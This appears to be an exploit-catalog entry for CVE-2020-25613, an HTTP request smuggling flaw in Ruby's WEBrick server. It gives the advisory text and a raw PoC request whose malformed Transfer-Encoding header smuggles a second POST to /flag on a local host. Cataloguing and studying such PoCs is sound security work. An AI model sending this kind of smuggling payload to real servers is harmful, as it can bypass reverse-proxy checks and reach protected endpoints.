CVE-2020-25613 PoC — Ruby 环境问题漏洞

Source

https://github.com/metapox/CVE-2020-25613

Associated Vulnerability

Title: Ruby 环境问题漏洞 (CVE-2020-25613)
Description:An issue was discovered in Ruby through 2.5.8, 2.6.x through 2.6.6, and 2.7.x through 2.7.1. WEBrick, a simple HTTP server bundled with Ruby, had not checked the transfer-encoding header value rigorously. An attacker may potentially exploit this issue to bypass a reverse proxy (which also has a poor header check), which may lead to an HTTP Request Smuggling attack.

Readme

# POC
```
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Type: text/html
Content-Length: 129
Connection: keep-alive
Transfer-Encoding: 0xb chunked

1
A
0

POST /flag HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 180
Connection: keep-alive
Content-Type: text/html
URI:
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →